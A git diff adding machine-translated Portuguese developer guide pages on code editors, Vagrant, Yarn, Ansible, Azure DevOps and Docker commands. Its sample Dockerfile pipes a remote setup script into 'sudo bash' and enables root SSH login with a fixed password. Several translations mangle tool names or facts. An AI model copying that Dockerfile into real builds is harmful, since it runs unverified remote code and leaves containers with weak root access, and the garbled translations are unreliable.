+
+### Colchetes
+
+![Ícone de suportes](https://logo.clearbit.com/brackets.io)
+
+Brackets é um editor de código aberto relativamente novo da Adobe. É muito amigável, especialmente para pessoas que não estão acostumadas com interfaces de linha de comando ou configurações / preferências de estilo JSON. Extensões e temas são rápidos e fáceis de encontrar e instalar através do Extension Manager.
+
+[colchetes.io](http://brackets.io/)
+
+![Captura de tela de colchetes](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2f395a58d24ed551ed8440a10ae640777f1143b6.png)
+
+### Átomo
+
+![Ícone do átomo](https://logo.clearbit.com/atom.io)
+
+Atom é um editor de [código aberto](https://github.com/atom/atom) , desenvolvido pelo [GitHub](https://github.com/) . Como o Sublime Text, o Atom é bastante popular. É muito configurável ("hackable", como dizem), mas os recursos avançados podem ser avassaladores para novos usuários. Há também muita [documentação](http://flight-manual.atom.io/) [útil](http://readwrite.com/2014/05/20/github-atom-5-tips-getting-started-tutorial-corey-johnson/) [disponível](http://stackoverflow.com/search?q=atom) on-line.
+
+[atom.io](https://atom.io/)
+
+![Screenshot do Atom](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8016e7c0937e8ce6fcb6104c9aee0026443912f5.png)
+
+### Código do Visual Studio
+
+![Ícone de código do Visual Studio](https://logo.clearbit.com/code.visualstudio.com)
+
+O Visual Studio Code (também conhecido como vsc ou vscode) é um editor de código aberto muito popular, desenvolvido pela [Microsoft](https://www.microsoft.com) e está se tornando amplamente usado por desenvolvedores de todos os idiomas. Assim como o Atom e o Sublime, o Visual Studio Code tem uma ampla variedade de [extensões](https://marketplace.visualstudio.com/VSCode) e [temas](https://marketplace.visualstudio.com/search?target=VSCode&category=Themes&sortBy=Downloads) disponíveis para ajudar a personalizar e aperfeiçoar sua experiência de uso, mas o VSC é altamente configurável "out-of-box". Há também uma equipe de desenvolvimento muito ativa por trás do VSCode, com novos recursos e correções de erros sendo adicionadas pela equipe do Visual Studio Code [todo mês](https://code.visualstudio.com/updates) .
+
+[code.visualstudio.com](https://code.visualstudio.com/)
+
+& bnsp;
+
+### Notepad ++
+
+![Notepad ++ ícone](https://upload.wikimedia.org/wikipedia/commons/0/0f/Notepad%2B%2B_Logo.png)
+
+O Notepad ++ é um editor de código livre e de código aberto que é executado no ambiente Microsoft Windows. Foi desenvolvido em 2003, por Dan Ho. Está escrito em [C ++](www.cplusplus.com) (o nome vem disso). O Notepad ++ suporta edição por abas, que permite trabalhar com múltiplos arquivos abertos em uma única janela, e também pode ser usado como um editor de texto simples.
+
+[notepad-plus-plus.org](https://notepad-plus-plus.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/vagrant/index.md b/client/src/guide/portuguese/developer-tools/vagrant/index.md
new file mode 100644
index 0000000000..205027afda
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/vagrant/index.md
@@ -0,0 +1,68 @@
+---
+title: Vagrant
+localeTitle: Vagabundo
+---
+## Vagabundo
+
+O Vagrant é uma ferramenta para construir e gerenciar ambientes de máquina virtual (VM). As máquinas virtuais podem ser usadas por qualquer motivo, mas são particularmente úteis para desenvolvedores e DevOps.
+
+### Por que o Vagrant é útil?
+
+Como desenvolvedor, usando uma VM, você pode ter um ambiente local para testar o código, que é o mesmo que o ambiente de produção, independentemente do ambiente usado para codificação.
+
+Para DevOps, as VMs são muito úteis para ter uma máquina descartável e altamente configurável para testar infra-estrutura, configurações, scripts ou qualquer outra coisa.
+
+Com o Vagrant, para usar uma VM você precisa apenas de um único arquivo, chamado de `VagrantFile` , que contém a VM, assim como toda a configuração necessária. Dessa forma, você pode criar facilmente um ambiente de desenvolvimento específico e isolado, que é muito portátil e pode ser compartilhado e usado por todos os membros de uma equipe.
+
+O Vagrant também possui `boxes` pré-definidas que são VMs básicas, que podem ser facilmente clonadas e expandidas.
+
+Outro recurso muito legal do Vagrant é o uso de `synced folders` . É possível sincronizar as pastas da VM, com pastas na máquina convidada. Ao fazer isso, você pode usar seu editor favorito em arquivos locais e, simultaneamente, ter esses arquivos sincronizados com a VM em execução.
+
+#### Mais Informações:
+
+[Site do Vagrant](https://www.vagrantup.com/)
+
+### Instale o Vagrant
+
+Para instalar o Vagrant, primeiro encontre o [pacote apropriado](https://www.vagrantup.com/downloads.html) para o seu sistema e baixe-o. O Vagrant é empacotado como um pacote específico de operação. Execute o instalador do seu sistema. O instalador irá adicionar automaticamente vagrant ao seu caminho do sistema para que ele esteja disponível nos terminais. Se não for encontrado, por favor, tente sair e entrar novamente no seu sistema (isto é particularmente necessário, por vezes, para o Windows).
+
+### Verificar a instalação
+
+Depois de instalar o Vagrant, verifique se a instalação funcionou abrindo um novo prompt de comandos ou console e verificando se o vagrant está disponível:
+
+```bash
+$ vagrant 
+ Usage: vagrant [options] <command> [<args>] 
+ 
+    -v, --version                    Print the version and exit. 
+    -h, --help                       Print this help. 
+ 
+ # ... 
+```
+
+### Começando
+
+```bash
+$ vagrant init hashicorp/precise64 
+ $ vagrant up 
+```
+
+### Caixas
+
+Caixas são adicionadas ao Vagrant com add box vagrant. Isso armazena a caixa sob um nome específico para que vários ambientes do Vagrant possam reutilizá-la. Se você ainda não adicionou uma caixa, pode fazê-lo agora:
+
+```bash
+$ vagrant box add hashicorp/precise64 
+```
+
+### Encontrando mais caixas
+
+O melhor lugar para encontrar mais caixas é [o catálogo da caixa Vagrant Cloud da HashiCorp](https://vagrantcloud.com/boxes/search) .
+
+### Comum
+
+Youtube: [Começando com Vagrant](https://www.youtube.com/watch?v=LyIyyFDgO4o) por [Codecourse](https://www.youtube.com/user/phpacademy)
+
+#### Mais Informações:
+
+O site do Vagrant: [vagrantup.com](https://www.vagrantup.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/yarn/index.md b/client/src/guide/portuguese/developer-tools/yarn/index.md
new file mode 100644
index 0000000000..a605657a38
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/yarn/index.md
@@ -0,0 +1,78 @@
+---
+title: Yarn
+localeTitle: Fio
+---
+## Fio
+
+O Yarn é um gerenciador de pacotes para o seu código. Ele permite que você use e compartilhe códigos com outros desenvolvedores de todo o mundo. O Yarn faz isso de maneira rápida, segura e confiável, para que você não precise se preocupar com as dependências de um projeto.
+
+O Yarn permite que você use soluções de outros desenvolvedores para diferentes problemas, facilitando o desenvolvimento de seu software. Se você tiver problemas, pode relatar problemas ou contribuir novamente, e quando o problema for resolvido, você poderá usar o Yarn para mantê-lo atualizado.
+
+O código é compartilhado por meio de algo chamado pacote (às vezes chamado de módulo). Um pacote contém todo o código que está sendo compartilhado, assim como um arquivo package.json que descreve o pacote.
+
+Para usar o fio você deve instalá-lo em seu sistema primeiro. Existem links no final deste artigo para ajudá-lo a fazer isso em qualquer sistema operacional.
+
+Quando você tiver o Yarn instalado, você pode começar a usá-lo. Aqui estão alguns dos comandos mais comuns que você precisará.
+
+### Uso de fios
+
+**Começando um novo projeto**
+```
+yarn init 
+```
+
+O comando `yarn init` abrirá um formulário interativo para criar um projeto de fio. `yarn init` cria um arquivo `package.json` que armazena as informações sobre o seu projeto. Este formulário interativo será aberto com as seguintes perguntas:
+```
+name (your-project): 
+ version (1.0.0): 
+ description: 
+ entry point (index.js): 
+ git repository: 
+ author: 
+ license (MIT): 
+```
+
+Você pode digitar as respostas para cada opção ou apenas apertar enter sem digitar nada para usar o padrão ou deixar em branco. Você sempre pode entrar em seu editor de texto favorito para alterar seu arquivo `package.json` , se necessário.
+
+Seu arquivo `package.json` deve ser semelhante a este:
+```
+{ 
+  "name": "your-new-project", 
+  "version": "1.0.0", 
+  "description": "A description of your new project.", 
+  "main": "index.js", 
+  "repository": { 
+    "url": "https://github.com/your-username/your-new-project", 
+    "type": "git" 
+  }, 
+  "author": "Your Name <your_name@example.com>", 
+  "license": "MIT" 
+ } 
+```
+
+**Adicionando uma dependência**
+```
+yarn add [package] 
+```
+
+**Atualizando uma dependência**
+```
+yarn upgrade [package] 
+```
+
+**Removendo uma dependência**
+```
+yarn remove [package] 
+```
+
+**Instalando todas as dependências do projeto**
+```
+yarn install 
+```
+
+#### Mais Informações:
+
+*   [Site de fios](https://yarnpkg.com)
+*   [Documentação do fio](https://yarnpkg.com/en/docs)
+*   [Instalando o fio](https://yarnpkg.com/en/docs/install)
+*   [Fios vs npm](https://www.pluralsight.com/guides/node-js/yarn-a-package-manager-for-node-js)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/ansible/index.md b/client/src/guide/portuguese/devops/ansible/index.md
new file mode 100644
index 0000000000..7bcb8ac3ca
--- /dev/null
+++ b/client/src/guide/portuguese/devops/ansible/index.md
@@ -0,0 +1,67 @@
+---
+title: Ansible
+localeTitle: Ansible
+---
+## Ansible
+
+Ansible é um simples de usar ferramenta de automação. O Ansible pode ser usado para automatizar implementações, atualizações, segurança, gerenciamento de sistemas, provisionamento de contêineres e muito mais. Os arquivos de configuração são fáceis de gerenciar arquivos YAML escritos em inglês simples. A instalação é simples e devido ao seu formato Master-Push, não há agentes necessários em máquinas remotas. Comunicações com máquinas remotas são via SSH.
+
+### Instalação no Ubuntu Servers 14.04 ou mais recente
+
+Recomenda-se a instalação através do Ansible PPA nos servidores Ubuntu.
+
+Primeiro, verifique se seu sistema está atualizado.
+```
+$ sudo apt-get update 
+ $ sudo apt-get upgrade 
+```
+
+Em seguida, você vai querer adicionar o seguinte pacote ao seu sistema
+```
+$ sudo apt-get install software-properties-common 
+```
+
+Adicione o ppa: ansible / ansible ao seu sistema
+```
+$ sudo apt-add-repository ppa:ansible/ansible 
+```
+
+Atualize seus repos novamente
+```
+$ sudo apt-get update 
+```
+
+Geralmente, há algumas etapas envolvidas na implantação do seu código na produção (para o site ativo). O número de etapas aumenta à medida que seu Site / Aplicativo / Webapp se torna maior e mais complexo.
+
+A solução para isso é a implantação automatizada. A automação vem na forma de scripts que funcionam como um conjunto de instruções (assim como todo código faz) descrevendo cada uma dessas etapas.
+
+Ansible é uma ferramenta de automação, geralmente usada para implantação, como mencionado acima, mas cada vez mais usada para outras automações complexas.
+
+Ele usa uma linguagem chamada [YAML](https://en.wikipedia.org/wiki/YAML) que permite que você descreva as instuções perto do inglês simples, como você pode ver neste exemplo do módulo Ansible:
+
+```YAML
+--- 
+ - yum: name={{contact.item}} state=installed 
+ with_items: 
+ - app_server 
+ - acme_software 
+ 
+ 
+ - service: name=app_server state=running enabled=yes 
+```
+
+Finalmente, instale o pacote
+```
+$ sudo apt-get install ansible 
+```
+
+Um benefício significativo do uso do Ansible é que ele usa SSH (Secure SHell) por padrão, e os módulos podem residir em qualquer máquina (computador) que não exija servidores, daemons ou bancos de dados.
+
+O verdadeiro poder da Ansible está no uso de livros didáticos. Leia mais sobre configuração e uso do Ansible na [documentação oficial da Ansible](https://docs.ansible.com/ansible/latest/index.html) .
+
+Módulos Ansible, que são pequenos programas específicos de tarefas. Uma vez que eles servem a finalidade pretendida, por exemplo, executando o script de implantação, esses módulos são removidos pelo Ansible.
+
+#### Mais Informações:
+
+*   [Saiba mais sobre como funciona o Ansible](https://www.ansible.com/how-ansible-works/)
+*   [Documentação Ansible](http://docs.ansible.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/azure/index.md b/client/src/guide/portuguese/devops/azure/index.md
new file mode 100644
index 0000000000..c035743c68
--- /dev/null
+++ b/client/src/guide/portuguese/devops/azure/index.md
@@ -0,0 +1,22 @@
+---
+title: Azure DevOps
+localeTitle: DevOps do Azure
+---
+## DevOps do Azure
+
+O DevOps Services do Azure é um serviço de nuvem para colaboração no desenvolvimento de código. Ele fornece um conjunto integrado de recursos que você acessa através do seu navegador da web ou cliente IDE, incluindo o seguinte:
+
+*   Repositórios Git para controle de código-fonte do seu código
+*   Crie e libere o gerenciamento para oferecer suporte à integração contínua e à entrega de seus aplicativos
+*   Ferramentas ágeis para apoiar o planejamento e acompanhamento de seu trabalho, defeitos de código e problemas usando os métodos Kanban e Scrum
+*   Uma variedade de ferramentas para testar seus aplicativos, incluindo testes manuais / exploratórios, testes de carga e testes contínuos
+*   Painéis altamente personalizáveis ​​para compartilhar progresso e tendências
+*   Wiki integrado para compartilhar informações com sua equipe
+
+Além disso, o ecossistema DevOps do Azure fornece suporte para adicionar extensões, integrando-se a outros serviços populares, como: Campfire, Slack, Trello, UserVoice e muito mais, e desenvolver suas próprias extensões personalizadas.
+
+Escolha os Serviços DevOps do Azure quando desejar configuração rápida, operações livres de manutenção, colaboração fácil entre domínios, dimensionamento elástico e segurança sólida. Você também terá acesso ao teste de carga da nuvem, aos servidores de criação de nuvem e aos insights de aplicativos.
+
+### Recursos
+
+*   [Microsoft Azure - DevOps do Azure](https://azure.microsoft.com/services/devops)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/chef/index.md b/client/src/guide/portuguese/devops/chef/index.md
new file mode 100644
index 0000000000..4030d26901
--- /dev/null
+++ b/client/src/guide/portuguese/devops/chef/index.md
@@ -0,0 +1,13 @@
+---
+title: Chef Server
+localeTitle: Servidor principal
+---
+## Chef Server
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/ansible/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Chef Server Docs](https://docs.chef.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/docker/index.md b/client/src/guide/portuguese/devops/docker/index.md
new file mode 100644
index 0000000000..87b870e2ce
--- /dev/null
+++ b/client/src/guide/portuguese/devops/docker/index.md
@@ -0,0 +1,188 @@
+---
+title: Docker
+localeTitle: Docker
+---
+## Docker
+
+O Docker é um projeto de código aberto baseado em contêineres do Linux. Ele usa os recursos do Kernel do Linux, como namespaces e grupos de controle, para criar contêineres sobre um sistema operacional.
+
+O Docker usa contêineres (uma instância de tempo de execução de uma imagem) para criar ambientes que podem criar, enviar e executar aplicativos facilmente. O principal benefício é que os contêineres do Docker são completamente isolados do ambiente do host por padrão, acessando apenas os arquivos e portas do host se estiverem configurados para isso. Essa é uma ótima alternativa para máquinas virtuais (VMs) que geralmente usam muitos recursos. A imagem de disco e o estado do aplicativo das VMs são um emaranhamento de configurações do sistema operacional, dependências instaladas pelo sistema, patches de segurança do sistema operacional e outras coisas efêmeras difíceis de serem replicadas e difíceis de serem replicadas.
+
+O Docker é um programa de computador que realiza virtualização no nível do sistema operacional, também conhecido como "conteinerização".
+
+O Docker é uma plataforma para desenvolvedores e administradores de sistemas desenvolverem, implementarem e executarem aplicativos com contêineres. O uso de contêineres do Linux para implementar aplicativos é chamado de contêiner. Os contêineres não são novos, mas seu uso para implantar aplicativos facilmente é.
+
+A containerização é cada vez mais popular porque os contêineres são:
+
+*   Flexível: Até mesmo os aplicativos mais complexos podem ser contêinerizados.
+*   Leve: os contêineres aproveitam e compartilham o kernel do host.
+*   Intercambiável: você pode implantar atualizações e up-on-the-fly.
+*   Portátil: você pode criar localmente, implantar na nuvem e executar em qualquer lugar.
+*   Escalável: você pode aumentar e distribuir automaticamente as réplicas de contêineres.
+*   Empilhável: você pode empilhar serviços verticalmente e on-the-fly.
+
+Instalação para [Mac](https://docs.docker.com/docker-for-mac/install/)
+
+Instalação para o [Windows](https://docs.docker.com/docker-for-windows/install/)
+
+Instalação para o [Ubuntu](https://docs.docker.com/install/linux/docker-ce/ubuntu/)
+
+_Todos os links são para o Docker CE (Community Edition)_
+
+* * *
+
+## Versão do Docker de Teste
+
+Para testar se o aplicativo foi bem, execute:
+```
+docker --version 
+```
+
+Assegure-se de que você tenha uma saída que se pareça com isto:
+```
+Docker version 18.06.1-ce, build e68fc7a 
+```
+
+* * *
+
+## Instalação do Docker de Teste
+
+Teste que sua instalação funciona executando a imagem simples do Docker, hello-world:
+```
+docker run hello-world 
+ 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+```
+
+### O que é contentorização então:
+
+Simplificando, nada mais é do que empacotamento de um processo / aplicativo e suas dependências em uma imagem distribuível que pode ser executada isoladamente.
+
+### Por que precisamos do Docker:
+
+Isso torna a vida dos engenheiros de software muito tranquila, pois eles sempre funcionarão no mesmo ambiente de desenvolvimento. Isso ajuda a compartilhar o produto final com os clientes / outras equipes sem se preocupar com problemas ambientais. Reduz a quantidade de hardware que precisamos para executar nossos aplicativos, não desperdiçando-os para camadas desnecessárias do sistema operacional.
+
+## Conceitos do Docker Fundamental
+
+### Motor Docker
+
+O mecanismo do Docker é a camada na qual o Docker é executado. É um tempo de execução e ferramentas leves que gerencia contêineres, imagens, construções e muito mais. Ele é executado nativamente em sistemas Linux e é composto de:
+
+1.  Um Daemon do Docker que é executado no computador host.
+    
+2.  Um Docker Client que se comunica com o Docker Daemon para executar comandos.
+    
+3.  Uma API REST para interagir remotamente com o Daemon do Docker.
+    
+
+### Cliente do Docker
+
+O Docker Client é com o qual você, como usuário final do Docker, se comunica. Pense nisso como a interface do usuário do Docker.
+
+### Daemon do Docker
+
+O daemon do Docker é o que realmente executa comandos enviados para o Docker Client - como construir, executar e distribuir seus contêineres. O Docker Daemon é executado na máquina host, mas como usuário, você nunca se comunica diretamente com o Daemon. O Docker Client também pode ser executado na máquina host, mas não é necessário. Ele pode ser executado em uma máquina diferente e se comunicar com o Docker Daemon que está sendo executado na máquina host.
+
+### Dockerfile
+
+Um Dockerfile é onde você escreve as instruções para criar uma imagem do Docker. Essas instruções podem ser: **RUN apt-get y instalar algum pacote** : para instalar um pacote de software **EXPOSE 8000** : para expor uma porta **ENV ANT\_HOME / usr / local / apache-ant** para passar uma variável de ambiente e assim por diante. Depois de configurar o Dockerfile, você pode usar o comando docker build para criar uma imagem a partir dele. Aqui está um exemplo de um Dockerfile:
+```
+# Start with ubuntu 14.04 
+ FROM ubuntu:14.04 
+ 
+ MAINTAINER freeCodeCamp@gmail.com 
+ 
+ # For SSH access and port redirection 
+ ENV ROOTPASSWORD sample 
+ 
+ # Turn off prompts during installations 
+ ENV DEBIAN_FRONTEND noninteractive 
+ RUN echo "debconf shared/accepted-oracle-license-v1-1 select true" | debconf-set-selections 
+ RUN echo "debconf shared/accepted-oracle-license-v1-1 seen true" | debconf-set-selections 
+ 
+ # Update packages 
+ RUN apt-get -y update 
+ 
+ # Install system tools / libraries 
+ RUN apt-get -y install python3-software-properties \ 
+    software-properties-common \ 
+    bzip2 \ 
+    ssh \ 
+    net-tools \ 
+    vim \ 
+    curl \ 
+    expect \ 
+    git \ 
+    nano \ 
+    wget \ 
+    build-essential \ 
+    dialog \ 
+    make \ 
+    build-essential \ 
+    checkinstall \ 
+    bridge-utils \ 
+    virt-viewer \ 
+    python-pip \ 
+    python-setuptools \ 
+    python-dev 
+ 
+ # Install Node, npm 
+ RUN curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash - 
+ RUN apt-get install -y nodejs 
+ 
+ # Add oracle-jdk7 to repositories 
+ RUN add-apt-repository ppa:webupd8team/java 
+ 
+ # Make sure the package repository is up to date 
+ RUN echo "deb http://archive.ubuntu.com/ubuntu precise main universe" > /etc/apt/sources.list 
+ 
+ # Update apt 
+ RUN apt-get -y update 
+ 
+ # Install oracle-jdk7 
+ RUN apt-get -y install oracle-java7-installer 
+ 
+ # Export JAVA_HOME variable 
+ ENV JAVA_HOME /usr/lib/jvm/java-7-oracle 
+ 
+ # Run sshd 
+ RUN apt-get install -y openssh-server 
+ RUN mkdir /var/run/sshd 
+ RUN echo "root:$ROOTPASSWORD" | chpasswd 
+ RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config 
+ 
+ # SSH login fix. Otherwise user is kicked off after login 
+ RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 
+ 
+ # Expose Node.js app port 
+ EXPOSE 8000 
+ 
+ # Create tap-to-android app directory 
+ RUN mkdir -p /usr/src/my-app 
+ WORKDIR /usr/src/my-app 
+ 
+ # Install app dependencies 
+ COPY . /usr/src/my-app 
+ RUN npm install 
+ 
+ # Add entrypoint 
+ ADD entrypoint.sh /entrypoint.sh 
+ RUN chmod +x /entrypoint.sh 
+ ENTRYPOINT ["/entrypoint.sh"] 
+ 
+ CMD ["npm", "start"] 
+```
+
+#### Mais Informações:
+
+*   [Doc. Amigável para iniciantes](https://medium.freecodecamp.org/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b)
+*   [Docker Official docs](https://docs.docker.com/get-started/)
+*   [Experimente o Docker Online](http://training.play-with-docker.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/index.md b/client/src/guide/portuguese/devops/index.md
new file mode 100644
index 0000000000..34d987f235
--- /dev/null
+++ b/client/src/guide/portuguese/devops/index.md
@@ -0,0 +1,28 @@
+---
+title: DevOps
+localeTitle: DevOps
+---
+## DevOps
+
+![ciclo devops](http://blog.xebialabs.com/wp-content/uploads/2016/03/DevOps-cycle-PPT-COLOURS.png)
+
+DevOps é a integração do trabalho entre as funções de Desenvolvimento e Operações. Uma maneira de fazer isso é automatizar como o software é integrado e implementado à medida que migra entre os ambientes de desenvolvimento, teste e produção. Isso facilita os processos de instalação do software, reduzindo idealmente a chance de erro.
+
+Alternativamente, o desenvolvimento de software pode ser feito dentro de silos. Um silo é responsável por aceitar solicitações de recursos e depois transformá-los em componentes de software com qualquer linguagem de programação, e o teste básico é feito em um ambiente com dados fictícios. Quando o teste local é concluído, os produtos de trabalho são transferidos para uma equipe de operações separada, que é responsável por reinstalar o software em um ambiente de produção separado que ofereça suporte ao tráfego real do usuário. Uma vez que o software esteja neste ambiente, as equipes de operações mantêm a responsabilidade pelo código, incluindo a identificação de qualquer defeito do produto. Se esses defeitos forem encontrados, eles serão compartilhados com a equipe de desenvolvimento, que tentará resolver, e então entregará uma nova versão de software para as equipes de operações.
+
+Esta seção contém artigos que introduzem tecnologias usadas no DevOps.
+
+### Mais Informações
+
+*   [Leia mais sobre DevOps na Wikipedia](https://en.wikipedia.org/wiki/DevOps)
+*   [Veja este vídeo que explica Devops](https://youtu.be/_I94-tJlovg)
+
+### Recursos
+
+Esta seção contém links para o aprendizado de DevOps através de uma experiência MOOC. Os cursos podem ser pagos apenas.
+
+*   [curso edX](https://www.edx.org/microsoft-professional-program-front-end-development)
+
+### Laboratório
+
+[DevOps](https://github.com/Microsoft/TechnicalCommunityContent/tree/master/DevOps)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/puppet/index.md b/client/src/guide/portuguese/devops/puppet/index.md
new file mode 100644
index 0000000000..7bfc85c79a
--- /dev/null
+++ b/client/src/guide/portuguese/devops/puppet/index.md
@@ -0,0 +1,13 @@
+---
+title: Puppet
+localeTitle: Fantoche
+---
+## Fantoche
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/docker/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Documentação oficial do Puppet](https://puppet.com/docs/puppet/5.3/architecture.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/saltstack/index.md b/client/src/guide/portuguese/devops/saltstack/index.md
new file mode 100644
index 0000000000..91c9adeeb7
--- /dev/null
+++ b/client/src/guide/portuguese/devops/saltstack/index.md
@@ -0,0 +1,13 @@
+---
+title: Saltstack Server
+localeTitle: Servidor de pilha salgada
+---
+## Saltstack Server
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/saltstack/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Docs do Saltstack Server](https://saltstack.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/devops/terraform/index.md b/client/src/guide/portuguese/devops/terraform/index.md
new file mode 100644
index 0000000000..9622336437
--- /dev/null
+++ b/client/src/guide/portuguese/devops/terraform/index.md
@@ -0,0 +1,12 @@
+---
+title: Terraform
+localeTitle: Terraform
+---
+## Terraform
+
+Terraform é uma infraestrutura como software de código da HashiCorp. Permite que os usuários definam um datacenter infra-estrutura em uma linguagem de configuração de alto nível, a partir da qual ele pode criar um plano de execução para construir a infra-estrutura em um provedor de serviços, como o OpenStack ou em um provedor de serviços, como IBM Cloud (anteriormente Bluemix), AWS, Microsoft Azure ou Google Cloud Platform. Infraestrutura é definida em uma sintaxe HCL Terraform ou formato JSON.
+
+#### Mais Informações:
+
+*   [Website oficial](https://www.terraform.io)
+*   [Terraform no GitHub](https://https://github.com/hashicorp/terraform)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/docker-build/index.md b/client/src/guide/portuguese/docker/docker-build/index.md
new file mode 100644
index 0000000000..165f6d2141
--- /dev/null
+++ b/client/src/guide/portuguese/docker/docker-build/index.md
@@ -0,0 +1,18 @@
+---
+title: Docker build
+localeTitle: Construção do Docker
+---
+## Construção do Docker
+
+`docker build` criou uma imagem do docker a partir de um Dockerfile e de um "contexto". Um contexto pode ser um URL ou um PATH local. Você pode nomear a imagem usando a tag `-t` opcional.
+
+Um Dockerfile instalará dependências durante o comando de compilação, a partir de uma URL especificada ou PATH local. Quaisquer dependências necessárias em seus contêineres devem ser especificadas no Dockerfile.
+
+Sua imagem agora está armazenada no registro local de imagens do Docker de sua máquina.
+
+Quando você tem contêineres do Docker construídos, você pode executar seu aplicativo usando os comandos de execução apropriados.
+
+#### Mais Informações:
+
+*   [Documentos do Docker CLI: build](https://docs.docker.com/engine/reference/commandline/rm/)
+*   [Docker Construindo Seu Aplicativo](https://docs.docker.com/get-started/part2/#build-the-app)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/docker-compose/index.md b/client/src/guide/portuguese/docker/docker-compose/index.md
new file mode 100644
index 0000000000..bf57658061
--- /dev/null
+++ b/client/src/guide/portuguese/docker/docker-compose/index.md
@@ -0,0 +1,46 @@
+---
+title: Docker compose
+localeTitle: Docker compor
+---
+## Docker compor
+
+Docker-Compose é uma ferramenta para definir e executar aplicativos Docker com vários contêineres. Com Compose, você usa um arquivo YAML para configurar os serviços do seu aplicativo.
+
+As etapas para usar o docker-compose são
+```
+1)create a Dockerfile which defines the image and can be produsable every where. 
+```
+
+```
+2)create a docke-compose yml file to run the services 
+```
+
+```
+3)use docker-compose up to start the sevices specified in docker-compose.yml file 
+```
+
+#### Comandos básicos no docker-compose
+
+*   Comando para executar contêineres docker
+```
+docker-compose -f docker-compose.yml up 
+```
+
+*   Comando para executar contêineres no modo desanexado
+```
+docker-compose -f docker-compose.yml up -d 
+```
+
+*   comando para executar contêineres depois de construir as imagens novamente (nota: a primeira vez que executarmos a construção de contêineres do docker acontecerá automaticamente)
+```
+docker-compose -f docker-compose.yml --build -d 
+```
+
+*   Comando para parar contêineres quando corremos em modo desanexado
+```
+docker-compose -f docker-compose.yml down 
+```
+
+#### Mais Informações:
+
+*   \[Mais informações sobre o Docker-compose\] (https://docs.docker.com/compose/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/docker-detached-mode/index.md b/client/src/guide/portuguese/docker/docker-detached-mode/index.md
new file mode 100644
index 0000000000..bbbab9f3a2
--- /dev/null
+++ b/client/src/guide/portuguese/docker/docker-detached-mode/index.md
@@ -0,0 +1,17 @@
+---
+title: Docker detached mode
+localeTitle: Modo desanexado do Docker
+---
+## Modo desanexado do Docker
+
+O modo `--detach` , mostrado pela opção `--detach` ou `-d` , significa que um contêiner do Docker é executado no plano de fundo do seu terminal. Não recebe entrada ou exibição de saída.
+```
+docker run -d IMAGE 
+```
+
+Se você executar contêineres em segundo plano, poderá descobrir seus detalhes usando o `docker ps` e, em seguida, reconectar seu terminal à sua entrada e saída.
+
+#### Mais Informações:
+
+*   [Conecte e desconecte de um contêiner em funcionamento | Docker Docs](https://docs.docker.com/engine/reference/commandline/attach/#examples)
+*   [Separado vs primeiro plano | Docker docs](https://docs.docker.com/engine/reference/run/#detached-vs-foreground)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/docker-rm/index.md b/client/src/guide/portuguese/docker/docker-rm/index.md
new file mode 100644
index 0000000000..d7f77f3868
--- /dev/null
+++ b/client/src/guide/portuguese/docker/docker-rm/index.md
@@ -0,0 +1,26 @@
+---
+title: Docker rm
+localeTitle: Docker rm
+---
+## Docker rm
+
+`docker rm` remove contêineres por seu nome ou ID.
+
+Quando você tem contêineres do Docker em execução, primeiro você precisa pará-los antes de excluí-los.
+
+*   Parar todos os contêineres em execução: `docker stop $(docker ps -a -q)`
+*   Excluir todos os contêineres parados: `docker rm $(docker ps -a -q)`
+
+### Remover vários contêineres
+
+Você pode parar e excluir vários contêineres transmitindo aos comandos uma lista dos contêineres que você deseja remover. A sintaxe do shell `$()` retorna os resultados de tudo o que é executado dentro dos colchetes. Assim, você pode criar sua lista de contêineres dentro desta para ser passada para os comandos `stop` e `rm` .
+
+##### Aqui está um detalhamento do docker ps -a -q
+
+*   contêineres de lista do `docker ps`
+*   `-a` opção de listar todos os contêineres, até mesmo os interrompidos. Sem isso, o padrão é listar apenas contêineres em execução
+*   `-q` a opção silenciosa para fornecer apenas IDs numéricos de contêiner, em vez de uma tabela inteira de informações sobre contêineres
+
+#### Mais Informações:
+
